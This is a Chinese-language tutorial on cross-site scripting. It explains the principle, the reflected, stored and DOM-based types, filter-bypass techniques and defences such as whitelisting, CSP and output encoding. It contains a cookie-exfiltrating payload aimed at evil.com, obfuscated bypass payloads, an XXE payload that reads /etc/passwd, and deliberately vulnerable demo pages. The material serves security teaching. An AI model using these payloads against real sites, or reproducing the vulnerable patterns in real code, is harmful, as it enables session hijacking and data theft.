当前位置: 首页 > news >正文

关于 Web 漏洞原理与利用:2. XSS(跨站脚本攻击)

一、原理:

用户输入未过滤被执行

攻击者输入的内容,如果没有被正确处理(过滤/转义),被网页原样输出到浏览器中,那么这些内容就可能会被浏览器当成代码执行,这就是 XSS(跨站脚本攻击)。

三个关键部分

1)用户输入

用户可以控制的数据(攻击者当然也就可以),比如:

  • URL 参数:?name=张三

  • 表单内容:用户名、评论内容

  • Cookie 值、Referer

  • 上传的 HTML 内容(富文本)

2)未过滤

服务器或者前端在把这些用户输入写进网页时

  • 没有去掉危险标签,如 <script>onerror

  • 没有进行转义,比如 &lt;&quot;

  • 没有判断当前上下文是否能执行 JS

3)被执行

浏览器解析 HTML 时,遇到用户输入的恶意代码,就直接执行,比如弹窗、盗取 cookie、跳转钓鱼站等。

1. 示例

正常情况:

<p>欢迎你,张三</p>

被攻击:

用户输入:

<script>alert('XSS')</script>

最终页面:

<p>欢迎你,<script>alert('XSS')</script></p>

浏览器看到 <script> 标签,就会执行里面的 JavaScript,弹出警告框。这段 JS 原本是“数据”,却被当作“代码”运行了!

2. 哪些位置会导致“被执行”?

用户输入如果出现在以下几种位置,很容易触发 XSS:

上下文类型代码片段危险点
HTML 内容区<div>{{content}}</div>可注入 <script>
HTML 属性值<img src="{{url}}">可注入 onerror=... 或破坏结构
JavaScript 字符串var a = "{{input}}";可闭合字符串后执行 JS
URL 中<a href="{{link}}">可注入 javascript:...
CSS 中style="background:url({{img}})"可注入 JS 协议

3. 浏览器为什么会执行?

浏览器解析 HTML → 遇到 <script> 或 JS 上下文 → 执行其中的 JavaScript 代码

浏览器没有能力判断哪些代码是“攻击者写的”,它只会按照规则解析和执行。如果把危险内容放在了执行上下文里,浏览器就一定会执行。

4. 案例

网站有评论功能,用户输入评论:

<p>{{ comment }}</p>

攻击者提交评论:

<script>fetch('http://evil.com?cookie=' + document.cookie)</script>

其他用户访问该页面时,浏览器执行这段脚本,攻击者就能拿到他们的 cookie,实现会话劫持。

5. 实验

建立  XSS测试.html  文件测试:

<!DOCTYPE html>
<html>
<head><meta charset="utf-8"><title>XSS 测试</title></head>
<body><h2>XSS测试页面</h2><div id="output"></div><script>const params = new URLSearchParams(location.search);const input = params.get("input");// 故意引入 XSS 漏洞:将用户输入直接插入 innerHTMLconst outputDiv = document.getElementById("output");outputDiv.innerHTML = input;// 浏览器的安全机制 —— 插入的 <script> 标签不会执行! 所以增添如下代码// 查找其中的 script 标签,重新执行const scripts = outputDiv.getElementsByTagName("script");for (let script of scripts) {const newScript = document.createElement("script");newScript.text = script.text;document.body.appendChild(newScript);}</script>
</body>
</html>

方法一:用「Live Server」启动本地网页,访问 http://localhost:5500/XSS测试.html?input=...

  • VS Code 安装并启用 Live Server 插件。

  • 右键 HTML 文件 → 选择 Open with Live Server

  • 浏览器打开的地址会变成 http://127.0.0.1:5500/XSS测试.html?input=...,这样就支持 URL 参数。

  •  JS 代码能正确读取参数并执行。

访问:

http://127.0.0.1:5500/XSS测试.html?input=<script>alert(1)</script>

会看到一个弹窗,这就是 XSS 原理最基本的演示。

方法二:使用本地简单 HTTP 服务器(Python)

如果有 Python,打开终端,进入 HTML 文件目录,运行:

python -m http.server 8000

然后浏览器打开:

http://localhost:8000/XSS测试.html?input=<script>alert(1)</script>

一样可以看到弹窗

6. 防止“未过滤被执行”

核心原则:用户输入是数据,永远不能当代码看待

常见防御:

  • 输出前进行 HTML 转义:如 &lt;&gt;&quot;

  • 不拼接 HTML,使用模板引擎的自动转义功能(如 React、Vue 默认安全)

  • 严格 CSP(内容安全策略)

  • 前后端联动做白名单过滤

总结

元素内容
用户输入攻击者可以控制的内容
未过滤没有进行转义、校验、过滤
被执行浏览器把它当代码运行了

原理核心:数据变代码,浏览器帮攻击者执行了它。


二、分类:

反射型XSS

反射型 XSS(Reflected XSS)是指攻击者构造一个包含恶意脚本的 URL,当用户点击这个链接时,浏览器请求该 URL,服务端将 URL 中的参数**“原样返回”到页面中**,恶意脚本就会被浏览器执行。

反射:攻击内容从请求发出后,被原样“反射”回响应中。

攻击流程

  • 攻击者构造恶意 URL,注入脚本

  • 用户点击 URL,向服务器发起请求

  • 服务器把用户提交的参数直接输出到页面(未过滤)

  • 浏览器接收到返回页面时,直接执行了注入的脚本

1. 示例

服务端代码(假设):

# Flask 示例
@app.route('/hello')
def hello():name = request.args.get('name')return f"<h1>Hello, {name}</h1>"

用户访问链接:

http://example.com/hello?name=张三

返回页面:

<h1>Hello, 张三</h1>

攻击者构造链接:

http://example.com/hello?name=<script>alert('XSS')</script>

返回页面变成了:

<h1>Hello, <script>alert('XSS')</script></h1>

此时浏览器直接执行了 <script> 标签,弹出 alert 框,这就是反射型 XSS。

2. 特点

特性描述
非持久性恶意代码不会存储在服务器,只在 URL 中
用户点击触发攻击成功需要用户点击特定链接
一次性页面刷新或参数改变就失效
攻击传播方式通过邮件、QQ群、钓鱼网站、短链接传播

3. 攻击者构造 URL 的技巧

为了让用户上钩,攻击者会把恶意链接伪装成正常链接,比如:

  • 使用 URL 编码

    • <script> 变为 %3Cscript%3E

  • 用短链接服务(如 t.cn、bit.ly)隐藏真实内容

  • 引诱点击:

    • “你有一份快递,请确认信息:http://xx.com/hello?name=...

4. 漏洞形成原因

  • 服务端把用户参数直接拼接进 HTML 页面

  • 没有做 HTML 实体转义(如 <&lt;

  • 没有限制参数的类型和内容

5. 防御方法

 1)输出编码(最重要)

  • 将用户输入在插入 HTML 前做转义

  • <&lt;>&gt;"&quot;

 2)使用安全框架

  • 模板引擎如:Jinja2(Flask)、Thymeleaf(Java)、Vue、React 都默认输出转义

 3)内容安全策略(CSP)

  • 禁止页面加载外部脚本、禁止内联脚本执行

 4)严格校验参数

  • name 参数只能是字母/数字,使用白名单校验

总结

项目内容
类型反射型 XSS(Reflected XSS)
攻击入口URL 参数
存储位置不存储,实时反射
执行时机用户点击链接后立即
危害弹窗、盗 Cookie、钓鱼、跳转恶意站
防御输出编码 + 参数校验 + CSP

反射型 XSS 就是攻击者把恶意脚本写到 URL 中,服务器没有过滤就原样返回,浏览器直接执行了它。

=======================================

存储型XSS

存储型 XSS(Stored XSS)是指:攻击者提交的恶意脚本被服务端永久保存,其他用户每次访问相关页面时都会触发该脚本。

脚本被“存起来”,每次访问就被“执行”一次

和反射型的对比

项目存储型 XSS反射型 XSS
是否持久 持久(写进数据库) 临时(仅 URL 中)
用户触发方式浏览页面就触发必须点击恶意链接
危害范围大,影响所有访问者小,仅限点击者
常见场景评论、留言、昵称、私信搜索框、URL 参数

攻击流程(五步)

  • 攻击者提交恶意内容(如评论)

  • 服务端把内容存入数据库

  • 正常用户访问该页面

  • 页面从数据库读取内容,输出到页面中

  • 浏览器解析页面时执行恶意脚本

1. 案例:评论系统

用户提交评论功能如下:

<form action="/submit_comment" method="post"><textarea name="comment"></textarea><input type="submit">
</form>

服务器收到评论后,直接存入数据库:

db.insert("comments", comment)

然后页面展示评论:

<div class="comment">{{ comment }}
</div>

攻击者提交:

<script>fetch("http://evil.com?cookie=" + document.cookie)</script>

普通用户访问时:

服务器返回页面内容:

<div class="comment"><script>fetch("http://evil.com?cookie=" + document.cookie)</script>
</div>

浏览器立刻执行脚本,攻击者成功获取用户 cookie。

2. 常见注入位置

  • 用户名 / 昵称

  • 评论 / 留言板

  • 论坛帖子 / 私信内容

  • 富文本编辑器内容(不设白名单)

  • 上传的 .html 文件(静态页面)

3. 危害有多严重?

  • 窃取所有访问者的 cookie → 劫持账户

  • 注入恶意 JS 窃取密码、银行卡号

  • 引导用户跳转钓鱼页面

  • 自动转发攻击内容(蠕虫式 XSS)

  • 管理后台如果中招,可能导致网站被完全控制(如植入木马、篡改内容)

4. 防御方法

1)输出编码(核心)

在展示评论、昵称、文章等用户内容时,一定要做 HTML 实体编码

  • <&lt;

  • >&gt;

  • "&quot;

一定是在“展示环节编码”,而不是“存储环节过滤”。

2)富文本要严格白名单

如果是富文本编辑器(如 KindEditor、TinyMCE)允许部分 HTML,要使用如:

  • DOMPurify 进行白名单清洗

  • 只允许安全标签(如 <b>, <i>, <img src>),禁止 <script>, onerror, javascript:

3)存储前进行内容检测(推荐)

  • 提交内容长度限制

  • 拒绝包含 <script><iframe>onload= 等危险字符串

  • 正则或 AST 分析检测 JS 注入尝试

4)设置 CSP(内容安全策略)

Content-Security-Policy: default-src 'self'; script-src 'self'
  • 禁止外部脚本

  • 禁止内联脚本

5. 示例页面

<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><title>XSS 演示</title>
</head><body><h2>输入评论(支持 XSS 演示)</h2><form id="commentForm"><textarea id="commentInput" rows="5" cols="50" placeholder="请输入评论内容"></textarea><br><button type="submit">提交</button></form><h2>评论区</h2><div id="commentList"></div><script>// 获取并插入“评论”const stored = localStorage.getItem("xss_comment");if (stored) {// 1. 创建临时容器const tempDiv = document.createElement("div");tempDiv.innerHTML = stored;// 2. 扫描其中的 <script> 标签并手动执行(这是关键)const scripts = tempDiv.querySelectorAll("script");scripts.forEach(script => {const newScript = document.createElement("script");if (script.src) {newScript.src = script.src;} else {newScript.textContent = script.textContent;}document.body.appendChild(newScript);});// 3. 把内容插入页面(含 script 外的部分)document.getElementById("commentList").appendChild(tempDiv);}// 表单提交事件document.getElementById("commentForm").addEventListener("submit", function (e) {e.preventDefault();const comment = document.getElementById("commentInput").value;// 存储评论localStorage.setItem("xss_comment", comment);// 模拟刷新location.reload();});</script>
</body></html>

访问链接模拟存储结果:

?comment=<script>alert("XSS")</script>

用户访问页面,看到评论区立即弹窗。

然后:

  • 打开页面 → 按 F12 打开控制台

  • 点击上方的「Application」标签页

  • 左侧导航栏里点「**Local Storage → http://127.0.0.1:5500**」

可以看到 存储了 评论数据或者攻击者提交的恶意脚本。

总结

项目内容
类型存储型 XSS(Stored XSS)
攻击持久性被存储在数据库
用户触发条件自动触发,无需点击
常见注入点评论、帖子、用户名、富文本
危害程度高,可能影响所有用户甚至管理后台
防御措施输出转义、富文本清洗、CSP、安全编码规范

=======================================

DOM型XSS

DOM 型 XSS(DOM-based XSS)是指漏洞存在于前端 JavaScript 代码中,浏览器在解析页面并运行 JS 时,因为未对用户输入做处理,导致恶意代码被执行。

它完全发生在浏览器端,服务端甚至不知道有攻击发生。

1. 举例

<!-- 页面代码 -->
<p>欢迎你,<span id="username"></span></p><script>const name = location.hash.substring(1);  // 获取 # 后面的内容document.getElementById('username').innerHTML = name;
</script>

用户访问链接:

http://example.com/#<img src=x onerror=alert('XSS')>

渲染后页面变为:

<p>欢迎你,<span id="username"><img src=x onerror=alert('XSS')></span></p>

<img> 加载失败,触发 onerror,弹出 XSS。

2. 和其他 XSS 的区别

特征反射型 / 存储型 XSSDOM 型 XSS
漏洞位置服务端输出(HTML 模板)前端 JS 代码(DOM 操作)
攻击执行位置响应内容中浏览器执行 JS 时
服务端是否参与参与完全不参与
检测难度相对容易更隐蔽更难检测
常见位置URL 参数 / 表单 / 评论区location, document, innerHTML, eval, 等

3. 攻击流程(四步)

  • 攻击者构造一个 URL,包含恶意代码在 URL 参数、锚点等位置

  • 用户点击链接后加载页面

  • 前端 JS 从 location.hash / search / document.cookie 等读取数据

  • 这些数据被拼接到 DOM 中或被 eval() 执行 → 触发脚本

4. 危险写法

危险代码原因
element.innerHTML = userData会执行嵌套脚本标签
eval(userData)直接执行任意 JS 表达式
location.href = userInput可用于跳转攻击
document.write(userData)也会执行脚本

漏洞点关键来源

  • location.href, location.search, location.hash

  • document.referrer

  • document.cookie

  • window.name

5. 示例:搜索框拼接 XSS

示例页面代码:

<!DOCTYPE html>
<html lang="zh-CN">
<head><meta charset="UTF-8" /><title>DOM型XSS演示</title>
</head>
<body><input id="search" type="text" /><button onclick="search()">搜索</button><div id="result"></div><script>function search() {// 获取 URL 中 kw 参数值(不含问号)const query = location.search; // ?kw=...const params = new URLSearchParams(query);let keyword = params.get('kw') || '';// 对参数进行 URL 解码,防止显示编码字符串keyword = decodeURIComponent(keyword);// 把 keyword 赋值给输入框的 value 属性,安全的document.getElementById("search").value = keyword;// 危险点!直接 innerHTML 插入未过滤的用户输入,导致 XSSdocument.getElementById("result").innerHTML = "您搜索了:" + keyword;}// 页面加载时自动执行搜索函数window.onload = search;</script>
</body>
</html>

访问链接:

http://127.0.0.1:5500/DOMxss.html?kw=<img src=x onerror=alert(1)>

结果页面:

您搜索了:<img src=x onerror=alert(1)>

浏览器执行 XSS。

6. 防御方法

1)不使用 innerHTML 显示用户数据

  • textContent / innerText 替代

el.textContent = userInput;  // 安全

2)所有输入都做白名单验证

  • URL 参数、cookie、hash 等都要校验格式

  • 只允许字母、数字、下划线等,避免注入 HTML

3)使用 DOMPurify 清洗危险 HTML

  • 前端引入 DOMPurify

const clean = DOMPurify.sanitize(userInput);
element.innerHTML = clean;

4)尽量避免使用 eval()setTimeout(str) 等执行字符串

5)配置 CSP(内容安全策略)

Content-Security-Policy: script-src 'self'; object-src 'none'
  • 禁止内联脚本执行,有效拦截部分 DOM XSS

7. 安全开发

  • 前端读取任何来源的数据(URL, cookie, localStorage)都要当做不可信

  • 不信任用户、URL、外部 API 的任何内容

  • 安全框架如 React、Vue 默认用 Virtual DOM,能减少 XSS,但不是万无一失

总结

项目内容
类型DOM 型 XSS(前端型)
漏洞位置前端 JS 代码
攻击点innerHTML, eval, location.hash
危害窃取信息、钓鱼跳转、Cookie 劫持
特点服务端完全无感知,检测困难
防御方法替换危险 API、严格校验、DOMPurify、CSP

DOM 型 XSS 是因为前端 JS 直接使用用户输入操作 DOM,没有过滤,从而执行了恶意脚本。


三、绕过技巧:

HTML 实体编码

HTML 实体编码(HTML Entity Encoding)是把具有特殊意义的字符,转换为浏览器不会解释的“安全格式”的一种方式。

为何需要?

浏览器会把 <script>alert(1)</script> 当作 HTML/JS 执行,造成 XSS 漏洞。但如果变成:

&lt;script&gt;alert(1)&lt;/script&gt;

浏览器只会显示文本,而不会执行脚本。

1. 常见 HTML 实体字符对照表

原始字符HTML 实体描述
<&lt;小于号(标签起始)
>&gt;大于号(标签结束)
&&amp;与号
"&quot;双引号
'&#x27;单引号(也可 &apos;
/&#x2F;正斜杠(某些情况需要)

2. 作用机制(原理)

浏览器在渲染 HTML 时:

  • 识别实体字符(如 &lt;

  • 显示为普通字符 <,但不作为 HTML 标签解析

例如,下面代码:

<div>&lt;script&gt;alert(1)&lt;/script&gt;</div>

显示结果是:

<script>alert(1)</script>

但这段代码不会执行,因为不是 HTML 中的真正 <script> 标签,只是文本。

3. 编码位置很重要

安全位置(适合编码)

  • HTML 元素内容中

  • HTML 属性值中

  • <textarea><pre>、表单中输出用户输入时

危险位置(编码无效或可能绕过)

  • 写到 JS 代码块中(如 <script>var a = 'xxx';</script>

  • 写到事件触发器中(如 <button onclick="xxx">

  • 写到 <style>style= 属性中

这些场景需要 上下文敏感的输出编码机制(Context-aware escaping)

4. 错误示例

示例 :只编码 < >,没处理引号

<input value="{{ user_input }}">

用户输入:" onfocus=alert(1) autofocus="
最终变为:

<input value="" onfocus=alert(1) autofocus="">

输入值中包含 ",跳出了属性值边界,插入了恶意属性!

正确处理方式:

  • 在 HTML 属性中输出前,也要编码引号("'

  • 使用框架提供的上下文转义机制(如 Django 的 {{ user_input|escape }}

5. HTML 实体编码的绕过技巧

1)双重编码绕过

& amp;lt; → &lt; → < → 最终被解释为标签

2)没有过滤 '"

造成属性逃逸,插入恶意事件:

<input value="{{ user_input }}">
// 输入:" onmouseover=alert(1) "

3)宽字节注入/编码混淆

部分服务对字符编码处理不一致,可能还原出原始 HTML。

6. 安全输出方案

场景编码方式工具推荐(部分语言)
HTML 内容HTML 实体编码Python: html.escape()
HTML 属性HTML 实体 + 引号处理JavaScript: textContent
JS 中(变量值)JSON 编码或字符转义JSON.stringify()
URL 中URL 编码(非实体编码)encodeURIComponent()

小结

项目是否说明
能防止 XSS 吗? 可防止大多数标签插入型 XSS
全面吗? 不够,不能防 JS、CSS、URL、事件注入等
推荐做法 配合上下文编码系统 + CSP 使用最安全

=======================================

JS 编码绕过

在XSS防御中,网站会对用户输入的脚本字符做过滤(如过滤 <>"' 等),但如果防御只针对明文字符过滤,攻击者可以使用 JavaScript 支持的各种编码方式,把危险字符隐藏起来绕过过滤,从而执行恶意脚本。

1. 常见的 JS 编码绕过方式

1)Unicode编码(\uXXXX)

使用 \u 后面跟4个十六进制数来表示字符,例如:

alert('\u0061\u006c\u0065\u0072\u0074'); // alert
  • \u0061 表示小写字母 'a'

  • 通过这种方式,攻击者可以写出浏览器识别的有效脚本,但代码中不出现敏感字符 <>

2)十六进制编码(\xXX)

\x 加两个十六进制数来表示字符:

alert('\x61\x6c\x65\x72\x74'); // alert

与 Unicode 类似,字符被编码隐藏。

3)字符串拼接

攻击者拆分敏感字符,分成多个字符串拼接,绕过简单过滤:

var s = "<scr" + "ipt>alert(1)</scr" + "ipt>";
eval(s);

简单的过滤器可能检测不到完整的 <script>

4)转义序列与编码混合

用多种编码方式混合,增加检测难度:

var s = "\x3c\x73" + "cript\x3ealert(1)\x3c/script\x3e";
eval(s);

这里 \x3c<\x3e>

5)ASCII码转换

String.fromCharCode() 动态生成字符:

var s = String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 62); // <script>
eval(s + "alert(1)</script>");

2. 这种绕过为什么有效?

  • 因为过滤规则只针对明文字符串检测 <script><,而对编码字符不敏感。

  • 过滤器没有把编码还原成原始字符再检查,导致攻击代码得以通过。

  • 有些过滤器甚至只过滤 < > 字符,忽略了 \u003c\x3c 等编码。

3. 如何防范 JS 编码绕过?

  • 对用户输入进行统一的解码还原,将所有编码(Unicode、十六进制)转换成对应字符后再过滤。

  • 对输出进行严格的编码转义,比如对 <>&'" 等做 HTML 实体编码。

  • 使用内容安全策略(CSP),限制页面执行内联脚本和未知来源脚本。

  • 使用成熟的安全库做输入校验和输出编码,避免手写低级过滤逻辑。

=======================================

SVG 利用

SVG是什么?

  • SVG(Scalable Vector Graphics)是基于 XML 的矢量图形格式,用于网页中绘制图形。

  • 它既可以作为独立文件,也可以内嵌在 HTML 页面里。

  • SVG支持事件绑定和内联脚本,因而可以成为XSS攻击载体。

SVG能被利用做XSS的原因

  • SVG文件本质上是XML,可以包含JavaScript代码(如事件属性onload、onclick等)。

  • 浏览器会解析SVG里的事件脚本,执行其中JS代码。

  • 很多过滤器忽视了SVG的特殊性,未能正确过滤SVG标签内的事件属性和内联脚本。

  • SVG允许内嵌HTML(通过<foreignObject>),增加攻击面。

1. 常见SVG XSS攻击方式

1)利用事件属性

当SVG加载时,onload事件执行JS代码。

2)利用<foreignObject>嵌套HTML

<foreignObject>允许直接嵌入HTML和脚本。

3)利用<image>标签的xlink:href属性

有些浏览器支持在xlink:href里执行JS代码。

4)利用实体注入(XXE 漏洞,配合服务端)

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg"><text>&xxe;</text>
</svg>

需后端 XML 解析器未禁用实体(Entity)才可触发。

2. 绕过与隐蔽性

  • SVG结构复杂且可嵌套,混合XML和HTML,增加了检测难度。

  • 事件属性和内联脚本可以混入图形元素中,不易被注意。

  • 允许在图形中隐藏恶意代码。

3. 防御建议

  • 禁止或限制用户上传SVG文件,或对上传的SVG做严格净化(去除事件属性、脚本等)。

  • 使用内容安全策略(CSP),限制内联脚本和未经授权的资源加载。

  • 对所有用户输入和上传内容做严格的白名单过滤,避免恶意代码注入。

  • 输出时做正确的编码,避免直接插入未经处理的SVG代码

  • 安全库和工具:可以使用专门的SVG净化工具(如 DOMPurify)来过滤SVG代码。

总结

SVG因为自身支持事件和内嵌HTML特性,成为XSS攻击的利器。防御时不仅要关注传统HTML,也要特别对待SVG的特殊属性和结构,防止绕过过滤器造成安全隐患。


四、防御方法:

过滤

“过滤”是防止 XSS 的第一道防线,指的是在接收到用户输入时,检测并剔除或转义危险内容,以防止恶意脚本进入系统或存储被滥用。

 目标:

  • 阻止 <script>, onerror=, javascript: 等注入。

  • 只接受预期格式的内容。

  • 把不安全内容清理或替换掉。

1. 过滤方式分类

1)白名单过滤(推荐)

只允许特定的标签、属性、字符等。

例子:

只允许 <b>, <i>, <p> 标签,禁止其他标签:

用户输入: <b>你好</b><script>alert(1)</script>
过滤后:   <b>你好</b>alert(1)

实现方式:

  • 使用 HTML 解析器+白名单列表

  • 推荐工具:

    • Python:bleach

    • JS:DOMPurify

    • Java:Jsoup.clean()

2)黑名单过滤(不推荐)

列出危险标签和关键字进行删除,但容易被绕过。

例子:

input = input.replaceAll('<script>', '').replaceAll('</script>', '');

绕过方式很多,比如:

<scr<script>ipt>alert(1)</script>
<svg/onload=alert(1)>

3)正则过滤(需小心)

正则可对简单内容进行过滤,但不要使用正则去解析 HTML,容易错漏。

# 只允许字母和数字(用户名示例)
import re
def is_valid_username(s):return re.fullmatch(r'[a-zA-Z0-9_]{3,20}', s) is not None

2. 常见 XSS 标签和属性(过滤重点)

类型示例
标签<script>, <iframe>, <object>, <svg>
危险属性onload, onerror, onclick, onmouseover
协议javascript:, data:, vbscript:

这些都要过滤或转义,否则用户可以构造恶意 HTML:

<img src="x" onerror="alert(1)">
<a href="javascript:alert(1)">点击</a>

3. 常用过滤库介绍

1)DOMPurify(前端 JavaScript)

const clean = DOMPurify.sanitize(userInput);
document.body.innerHTML = clean;
  • 自动过滤 XSS 标签和属性

  • 支持配置白名单(如允许哪些标签)

2)Python - Bleach

import bleachsafe_html = bleach.clean(user_input,tags=['b', 'i', 'u'],attributes={},protocols=['http', 'https']
)
  • 适用于 Flask/Django 等后端过滤

3)Java - Jsoup

String clean = Jsoup.clean(userInput, Whitelist.basic());

总结

策略优点缺点
白名单过滤安全可靠,控制性强配置需全面
黑名单过滤实现简单极易绕过,不推荐使用
HTML 过滤库效率高,实战适用广依赖第三方库
正则匹配对简单内容有效不适合复杂结构

最佳实践建议

  • 所有用户输入都应经过 白名单验证 + HTML 标签清洗

  • 富文本内容必须使用过滤库(如 DOMPurify)清理

  • 搭配“输出编码”与“CSP”形成多层防御体系

=======================================

CSP

CSP(Content Security Policy,内容安全策略) 是一种由服务器发送给浏览器的 HTTP 响应头,告诉浏览器在加载和执行页面资源时有哪些安全规则,限制资源来源和行为,防止恶意脚本执行。

它的核心目的是:

  • 限制允许加载和执行的资源来源(脚本、样式、图片、媒体等)

  • 禁止或限制内联脚本和 eval() 函数执行

  • 通过策略阻止或降低 XSS 攻击风险

CSP 的基本工作原理

当浏览器收到 CSP 响应头后,会根据策略限制网页行为。
如果检测到违规行为,浏览器会阻止对应内容加载或执行,并在浏览器控制台或通过报告机制反馈。

1. CSP 常见指令(Directive)

CSP 是由多个指令组成的,每个指令负责限制特定资源类型。常见指令包括:

指令作用示例
default-src默认资源加载来源限制,所有没指定的资源类型用它default-src 'self'
script-src脚本加载来源限制script-src 'self' https://cdn.com
style-src样式加载限制style-src 'self' 'unsafe-inline'
img-src图片加载限制img-src * data:
connect-srcAjax/WebSocket 等连接来源限制connect-src 'self' https://api.com
font-src字体加载限制font-src 'self'
frame-srciframe 的来源限制frame-src 'none'
object-src<object>, <embed> 加载限制object-src 'none'
report-uriCSP 违规事件的上报地址report-uri /csp-report

2. CSP 源(Source)表达式

表达式含义
'self'仅允许当前站点域名
'none'不允许任何来源
'unsafe-inline'允许内联脚本(不推荐,降低安全)
'unsafe-eval'允许 eval() 调用
scheme (如 https:)允许对应协议
域名(带通配符)允许特定域名,如 https://cdn.example.com*.example.com

3. 典型 CSP 示例

1)基础版本(允许当前域名所有资源)

Content-Security-Policy: default-src 'self';
  • 只允许加载本站资源

  • 禁止外部脚本、样式、图片、iframe 等资源

2)允许本站和某 CDN 脚本,禁止内联脚本

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.jsdelivr.net; style-src 'self';

3)禁止内联脚本和 eval()

Content-Security-Policy: script-src 'self'; object-src 'none'; base-uri 'self';

4. 内联脚本和 nonce、hash

为什么要限制内联脚本?

内联脚本极易被 XSS 利用,比如:

<script>alert('xss')</script>

这段代码如果被恶意注入,就能直接执行。

nonce(一次性随机数)

可以给允许执行的内联脚本打上随机 nonce,只有带有对应 nonce 的内联脚本会被执行。

服务器发送头部:

Content-Security-Policy: script-src 'nonce-2726c7f26c' 'strict-dynamic'; object-src 'none';

HTML:

<script nonce="2726c7f26c">console.log('安全执行');
</script>

浏览器只执行带有合法 nonce 的脚本,其他内联脚本都阻止。

hash(内容哈希)

将内联脚本内容做 SHA256 哈希,CSP 允许带有该 hash 的脚本执行。

Content-Security-Policy: script-src 'sha256-AbCdEfG...';

5. CSP 报告机制

可以指定 report-urireport-to 指令,当策略被违反时,浏览器会发送 JSON 格式报告到指定地址,方便安全团队监控攻击。

Content-Security-Policy: default-src 'self'; report-uri /csp-report-endpoint

6. CSP 的优势和限制

优势限制
有效防止绝大多数 XSS 攻击配置复杂,需适配各种资源
阻止外部恶意脚本加载不支持所有浏览器(老版本浏览器兼容性差)
禁止内联脚本和 eval() 增强安全过严可能破坏正常功能
通过报告机制便于发现攻击和配置问题需配合开发流程动态生成 nonce 或 hash

7. 实战建议

  • 从宽松到严格逐步调整:
    先用 report-only 模式监控,逐步修改策略。

  • 禁止内联脚本和 eval()
    避免页面中直接写 <script> 或使用 eval()

  • 结合动态生成 nonce/hash:
    对必须的内联脚本,生成随机 nonce 并注入,保证安全。

  • 测试覆盖所有资源:
    包括第三方脚本、样式、图片、字体等,防止被误拦。

  • 监控 CSP 报告,快速响应异常。

8.示例

Content-Security-Policy:default-src 'self';script-src 'self' https://cdn.example.com 'nonce-abc123';style-src 'self' 'unsafe-inline';img-src *;object-src 'none';report-uri /csp-report

1)default-src 'self';

  • 含义:默认情况下,所有资源(脚本、样式、图片、字体、AJAX等)只能从本站点自身域名加载。

  • 'self' 是一个特殊关键字,代表当前页面的源(协议+域名+端口)。

  • 作用:限制页面资源加载来源,防止外部恶意资源注入。

2)script-src 'self' https://cdn.example.com 'nonce-abc123';

  • 作用对象:专门控制JavaScript 脚本的加载来源和执行权限。

  • 允许的来源

    • 'self':允许加载本站的脚本。

    • https://cdn.example.com:允许加载指定 CDN 域名上的脚本。

    • 'nonce-abc123':允许执行带有 nonce="abc123" 属性的内联脚本标签。

  • 重点

    • 这行允许两类脚本执行:外部脚本(来自本站和 CDN)和内联脚本中带指定 nonce 的。

    • 阻止无 nonce 或其它来源的脚本执行,提升安全。

3)style-src 'self' 'unsafe-inline';

  • 作用对象:控制样式表(CSS)的加载。

  • 'self':允许加载本站的样式文件。

  • 'unsafe-inline':允许执行内联样式(比如 <style> 标签内的 CSS,或元素内的 style="...")。

  • 说明

    • 允许内联样式降低了安全性(有时被利用来绕过 CSP),但有些页面功能必须使用内联样式。

    • 若想更安全,建议去掉 'unsafe-inline',改用外部样式或 nonce/hash。

4)img-src *;

  • 作用对象:限制图片的加载来源。

  • * 表示允许加载任意来源的图片。

  • 理由

    • 图片跨域加载常见且无太大风险,一般允许所有来源。

    • 但如果安全要求高,可以限定特定域名。

5)object-src 'none';

  • 作用对象:控制 <object>, <embed>, <applet> 标签加载内容的来源。

  • 'none' 表示禁止加载所有 <object> 等标签的资源。

  • 意义

    • 这些标签容易被用来加载恶意插件或 Flash 内容,禁用可减少攻击面。

6)report-uri /csp-report

  • 作用:指定浏览器当检测到 CSP 违规(违反上述规则)时,将违规信息以 POST 请求发送到服务器的 /csp-report 端点。

  • 好处

    • 方便运维和安全人员收集 CSP 违规情况,及时修正策略和发现攻击尝试。

这段 CSP 策略:

  • 默认只允许本站资源;

  • 允许脚本来自本站和指定 CDN,并允许带指定 nonce 的内联脚本执行;

  • 允许内联样式和本站样式文件;

  • 允许加载任何图片;

  • 禁止使用 <object> 等容易被攻击的插件加载标签;

  • 并通过 report-uri 实时上报策略违反情况。

=======================================

输出编码

输出编码(Output Encoding)是指在将用户输入的数据输出到网页时,根据不同的上下文(HTML、属性、JavaScript、URL 等)对数据中的特殊字符进行转义或编码,使它们失去执行意义,防止恶意脚本注入和执行。

换句话说,就是把“潜在危险”的字符,转换成浏览器不会执行的安全格式。

为什么要做输出编码?

  • XSS 的根本原因是浏览器把恶意脚本代码当作正常内容执行。

  • 通过输出编码,把用户输入的 <, >, ', " 等特殊字符转换成 HTML 实体或其他安全格式,浏览器不会把它们当成代码执行,而是显示成普通文本。

  • 输出编码是防御 XSS 的关键环节,即使输入过滤做得不完美,输出编码依然能保护页面安全。

1. 不同上下文下的输出编码方式

Web 页面中用户输入可能会被嵌入不同位置,不同位置的编码规则不同:

上下文需要编码的字符编码方式示例
HTML 内容<, >, &, ", '<&lt;>&gt;&&amp;"&quot;'&#39;
HTML 属性<, >, &, ", ',空格同上,一般使用双引号包裹属性,转义内引号
JavaScript", ', \, /, 换行符等使用反斜杠转义,或 JSON 编码
URL 参数非字母数字字符URL 编码,如 %20 代表空格
CSS 内容"'\、换行符等使用反斜杠转义

2. 常见的输出编码示例

1)HTML 内容编码

假设用户输入:

<script>alert('XSS')</script>

未经编码直接输出:

<div>用户评论:<script>alert('XSS')</script></div>

浏览器会执行 <script> 脚本,导致 XSS。

经过输出编码:

<div>用户评论:&lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;</div>

浏览器只显示文字,不执行脚本。

2)HTML 属性编码

用户输入:

" onmouseover="alert(1)

输出在属性中:

<input value="用户输入内容">

如果不编码,变成:

<input value="" onmouseover="alert(1)">

会触发事件。

编码后:

<input value="&quot; onmouseover=&quot;alert(1)">

浏览器显示成文本。

3)JavaScript 编码

当用户输入被放入 JavaScript 代码字符串时:

var name = '用户输入';

如果用户输入含 ',会导致代码结构被破坏。

编码示例:

  • 使用 JSON 序列化或转义 '"\ 等字符

4)URL 编码

